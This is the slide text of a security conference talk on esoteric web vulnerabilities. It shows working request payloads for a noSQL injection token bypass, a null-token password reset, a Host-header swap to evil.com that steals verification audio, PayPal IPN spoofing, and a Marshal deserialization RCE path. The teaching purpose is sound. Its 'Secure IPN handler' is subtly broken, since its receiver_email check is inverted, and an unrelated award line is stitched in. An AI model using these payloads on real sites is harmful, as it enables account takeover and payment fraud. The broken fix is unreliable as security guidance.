This talk will show esoteric web application vulnerabilities in detail, these vulnerabilities would be missed in a quick review by most security consultants, but could lead to remote code execution, authentication bypass and purchasing items in merchants using Paypal as their payment gateway without actually paying. SQL injections are dead, and I don’t care: let's explore the world of null, nil and NULL; noSQL injections; host header injections that lead to phone call audio interception; paypal’s double spent and Rails’ MessageVerifier remote code execution.
--- Andres Riancho
Andrés Riancho is an application security expert that currently leads the community driven, Open Source, w3af project and provides in-depth Web Application Penetration Testing services to companies around the world.
In the research field, he discovered critical vulnerabilities in IPS appliances from 3com and ISS, contributed with SAP research performed at one of his former employers and reported vulnerabilities in hundreds of web applications.
His main focus has always been the Web Application Security field, in which he developed w3af, a Web Application Attack and Audit Framework used extensively by penetration testers and security consultants.
Andrés has spoken and hold trainings at many security conferences around the globe, like BlackHat (USA and Europe), SEC-T (Sweden),DeepSec (Austria), PHDays (Moscow), SecTor (Toronto), OWASP (Poland),CONFidence (Poland), OWASP World C0n (USA), CanSecWest (Canada),PacSecWest (Japan), T2 (Finland) and Ekoparty (Buenos Aires).
Andrés founded Bonsai Information Security, a web security focused consultancy firm, in 2009 in order to further research into automated Web Application Vulnerability detection and exploitation.
My INSURER PTE LTD - Insurtech Innovation Award 2024
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
1.
2. /me
▪ Application security expert (web|API)
▪ Developer (Python!)
▪ Open Source evangelist
▪ w3af project leader
▪ Founder of Bonsai Information Security
▪ Founder and developer of TagCube SaaS
3.
4. ORM killed the pentest star
▪ All modern web development frameworks provide abstractions
to interact with (no)SQL databases. Developers don’t write raw
SQL queries anymore.
Video killed the radio star (youtube)
▪ SQL injections are rare nowadays, this
requires us testers to dig deeper into
the application to find high risk
vulnerabilities.
5. MVC, templates and default HTML encode killed XSS
▪ Most modern web development frameworks use a model view
controller architecture, which uses templates to render the HTML
shown to users.
▪ Templating engines, such as Jinja2, HTML encode the context data
by default.
▪ Developers need to write more code to make the template
vulnerable to Cross-Site Scripting, which leads to less
vulnerabilities.
<ul>
{% for user in user_list %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
6.
7.
8. Aggressive input decoding
Ruby on Rails, Sinatra and other (ruby) web frameworks perform
aggressive input decoding:
http://www.phrack.org/papers/attacking_ruby_on_rails.html
post '/hello' do
name = params[:name]
render_response 200, name
POST /hello HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
name=andres
POST /hello HTTP/1.1
Host: example.com
Content-Type: application/json
{"name": "andres"}
9. Decode to a Ruby Hash
POST /hello HTTP/1.1
Host: example.com
Content-Type: application/json
{"name": {"foo": 1}}
In all previous cases the type of the name variable was a String, but we
can force it to be a Hash:
10. noSQL ODM introduction
When MongoId ODM (Object Document Mapper) and similar
frameworks are in use developers can write code similar to:
Which will query the Mongo database and return the first registration
flow where the user_id and confirmation_token match.
post '/registration/complete' do
registration = Registration.where({
user_id: params[:user_id],
confirmation_token: params[:token]
}).first
...
POST /registration/complete HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
{"token": "dee1303d11814cf70d21a5193030bb8e", "user_id": 3578}
11. noSQL ODM complex queries
Developers can write “complex” ODM queries using Ruby Hashes as
parameters:
user = Users.where({user_id: params[:user_id],
country: {"$ne": "Argentina"}}).first
users = Users.where({user_id: {"$in": [123, 456, 789]}})
12. Decode to Hash leads to noSQL injection
It’s possible to bypass the token validation!
post '/registration/complete' do
registration = Registration.where({
user_id: params[:user_id],
confirmation_token: params[:token]
}).first
...
POST /registration/complete HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
{"token": {"$ne": "nomatch"}, "user_id": 3578}
13. “User controlled input”.to_s
Fixing this vulnerability is quick and easy:
Most developers will forget to add the .to_s and it’s easy to miss in a
source code review. Recommend Sinatra param or similar.
get '/registration/complete' do
@registration = Registration.where({
user_id: params[:user_id].to_s,
confirmation_token: params[:token].to_s
}).first
...
14.
15. Call me to verify my identity #1
The application requires users to provide a cellphone to verify their
identity. A phone call is initiated by the application using a service like
Twilio, the call audio contains a verification code which needs to be
input into the application to verify phone ownership.
HTTP request
Verify my phone +1 (541) 754-3010
16. Call me to verify my identity #2
Call +1 (541) 754-3010
Send code 357896 in audio
HTTP request
Please call +1 (541) 754-3010
Audio for the call is available at
https://vulnerable.com/audio/<uuid-4>
HTTP request
https://vulnerable.com/audio/<uuid-4>
17. Call me to verify my identity #3
HTTP request
Code is 357896
HTTP response
Welcome admin!
18. Bypass phone verification
Hacker wants to bypass phone verification, ideas:
▪ Hack admin’s smartphone
▪ Hack vulnerable.com
▪ Create a raw cellphone tower and sniff admin’s phone call
▪ Hack Twilio
Hacking vulnerable.com seems to be the easiest path to follow. But…
what do we need?
19. UUID4
Version 4 UUIDs use a scheme relying only on random numbers, thus
the audio URLs can’t be brute forced:
https://vulnerable.com/audio/f47ac10b-58cc-4372-a567-0e02b2c3d479
20. Zoom into HTTP request to Twilio
HTTP request
Please call +1 (541) 754-3010
Audio for the call is available at
https://vulnerable.com/audio/<uuid-4>
POST /call/new HTTP/1.1
Host: api.twilio.com
Content-Type: application/json
X-Authentication-Api-Key: 2bc67a5...
{"phone_number": "+1 (541) 754-3010"},
"audio_callback": "https://vulnerable.com/f47ac10b-5..."}
21. Insecure Twilio API call
HTTP request
Please call +1 (541) 754-3010
Audio for the call is available at
https://vulnerable.com/audio/<uuid-4>
import requests
def start_call(phone, callback_url):
requests.post('https://api.twilio.com/call',
data={'phone_number': phone,
'audio_callback': callback_url})
…
audio_id = generate_audio(request.user_id)
callback_url = 'https://%s/%s' % (request.host, audio_id)
start_call(request['phone'], callback_url)
22. Change Host header to exploit
HTTP request
Verify my phone +1 (541) 754-3010
POST /verify-my-phone HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
{"phone_number": "+1 (541) 754-3010"}}
POST /verify-my-phone HTTP/1.1
Host: evil.com
Content-Type: application/json
{"phone_number": "+1 (541) 754-3010"}}
23. Exploit results in modified callback_url
HTTP request
Please call +1 (541) 754-3010
Audio for the call is available at
https://evil.com/audio/<uuid-4>
HTTP request
https://evil.com/audio/<uuid-4>
HTTP request
https://vulnerable.com/audio/<uuid-4>
24. MUST-HAVE: Strict validation for Host header
▪ Make sure that your nginx, apache, and web frameworks validate
the host header before any further code is run.
▪ Django has strict host header validation built in using
ALLOWED_HOSTS configuration setting.
25.
26. Password reset
▪ Password resets are very sensitive and, in some cases, insecure.
The most wanted vulnerability is to be able to reset the password
for a user for which we don’t have the password reset token.
▪ Usually password resets are implemented as follows:
▪ User starts a new password reset flow
▪ An email is sent by the application containing a randomly
generated token
▪ The token is used to prove that the user has access to the
email address and the password is reset.
27. Implementation details
class AddPasswordResetTokenToUser < ActiveRecord::Migration
def change
add_column :users, :pwd_reset_token, :string, default: nil
end
end
post '/start-password-reset' do:
user = Users.where({"email": params["email"]}).first
token = generate_random_token()
user.pwd_reset_token = token
user.save!
send_email(user.email, token)
post '/complete-password-reset' do:
user = Users.where({"pwd_reset_token": params["token"]}).first
user.password = params["new_password"]
user.pwd_reset_token = nil
user.save!
28. Token defaults to NULL in the database
POST /complete-password-reset HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
{"token": null, "new_password": "l3tm31n"}
▪ Each time a new user is created his pwd_reset_token field is set to
NULL in the database.
▪ When the user starts a new password reset flow a randomly
generated token is assigned to pwd_reset_token
▪ What if...
29. Safe defaults and strict type validation
post '/complete-password-reset' do:
user = Users.where({"pwd_reset_token":
params["token"].to_s}).first
user.password = params["new_password"]
user.pwd_reset_token = nil
user.save!
class AddPasswordResetTokenToUser < ActiveRecord::Migration
def change
add_column :users, :pwd_reset_token, :string,
default: generate_random_token()
end
end
30.
31. Paypal’s Instant Payment Notification
▪ I love payment gateways! See my previous talk on this subject.
▪ Paypal uses IPN to notify a site that a new payment has been
processed and further action, such as increasing the user funds in
the application, should be performed.
▪ The developer sets the IPN URL in the merchant account settings
at Paypal: https://www.example.com/paypal-handler
34. Zoom into Paypal’s IPN HTTP request
There are a few important parameters that we need to understand:
▪ mc_gross=19.95 is the amount paid by the user
▪ custom=665588975 is the user’s ID at the merchant application,
which is sent to Paypal when the user clicks the “Pay with Paypal”
button in the merchant’s site
▪ receiver_email=gpmac_1231902686_biz%40paypal.com is the
merchant’s email address
▪ payment_status=Completed is the payment status
36. Insecure IPN handler
import requests
PAYPAL_URL = 'https://www.paypal.com/cgi-bin/webscr?cmd=_notify-validate'
def handle_paypal_ipn(params):
# params contains all parameters sent by Paypal
response = requests.post(PAYPAL_URL, data=params).text
if response == 'VERIFIED':
# The payment is valid at Paypal, mark the cart instance as paid
cart = Cart.get_by_id(params['custom'])
cart.record_user_payment(params['mc_gross'])
cart.user.send_thanks_email
else:
return 'Error'
39. ▪ Attacker needs to perform a special Paypal payment using a
target specific custom_id parameter which will associate the
spoofed payment with his account.
▪ The payment is made from the attacker’s credit card to his paypal
account. Money is still under his control, but the attacker will lose
Paypal’s commission for each transaction.
▪ Many example IPN implementations in github.com are
vulnerable. I wonder how many were used to create applications
which are currently live in production?
40. Secure IPN handler
import requests
PAYPAL_URL = 'https://www.paypal.com/cgi-bin/webscr?cmd=_notify-validate'
MERCHANT_PAYPAL_USER = 'foo@bar.com'
def handle_paypal_ipn(params):
if params['receiver_email'] == MERCHANT_PAYPAL_USER:
return 'Error'
# params contains all parameters sent by Paypal
response = requests.post(PAYPAL_URL, data=params).text
if response == 'VERIFIED':
# The payment is valid at Paypal, mark the cart instance as paid
cart = Cart.get_by_id(params['custom'])
cart.record_user_payment(params['mc_gross'])
cart.user.send_thanks_email
else:
return 'Error'
41. Is this Paypal’s fault?
▪ Are all payment gateways vulnerable?
▪ MercadoPago implemented a different communication protocol
for their IPN. Their protocol is much better than Paypal’s since it
doesn’t rely on the developer’s IPN handler implementation to
provide security.
▪ MercadoPago sends a GET request with the purchase ID to the IPN
URL, then the developer needs to perform a GET request to
https://api.mercadopago.com/ in order to retrieve the transaction
details. This request is authenticated, and any attempts to access
transactions from other merchants is denied.
42.
43. ActiveSupport::MessageVerifier Marshal RCE
▪ ActiveSupport::MessageVerifier uses Ruby’s Marshal to serialize
arbitrary information, which is then signed using a developer
provided secret. A verified message looks like:
▪ The message can be decoded:
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--
8bacd5cb3e72ed7c457aae1875a61d668438b616
1.9.3-p551 :006 > Base64.decode64('BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==')
=> "x04bI"x1Aandres@bonsai-sec.comx06:x06ET"
1.9.3-p551 :007 >
Marshal.load(Base64.decode64('BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA=='))
=> "andres@bonsai-sec.com"
1.9.3-p551 :008 >
44. ActiveMessages are signed
▪ When the application receives the signed message, it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret.
▪ The calculated signature must match the one provided with the
message:
▪ Once the signature is verified the data is base64 decoded and
Unmarshaled.
BAhJIh...--8bacd5cb3e72ed7c457aae1875a61d668438b616
45. Guessable signing secret leads to RCE
Ruby’s documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution.
ActiveSupport::MessageVerifier is protected against this vulnerability
by a developer controlled secret. Poorly chosen secrets allow:
1.Brute-force attack to discover the secret
2.Specially crafted gadget/object is created, serialized and
encoded.
3.Secret is used to sign gadget
4.Signed message is sent to the application, where it will be
unmarshalled and remote code execution is achieved
46. Secure ActiveSupport::MessageVerifier usage
▪ Choose randomly generated, long, secrets to sign your messages.
▪ Use a different serialization method:
@verifier = ActiveSupport::MessageVerifier.new(long_secret, serializer:
json)
47.
48.
49. Vulnerabilities are always there
▪ You’re smarter than your tools. Let the automation do the grunt
work and focus your time on source code review, application logic
flaws, issues specific to the target application, etc.
▪ You’re smarter than your client. Convince them that with the
source code you’ll be able to identify more vulnerabilities and
provide greater ROI.
▪ You’re smarter (well, actually more trained in security,
vulnerabilities and risks) than most developers. They will make
mistakes, no matter how good they are.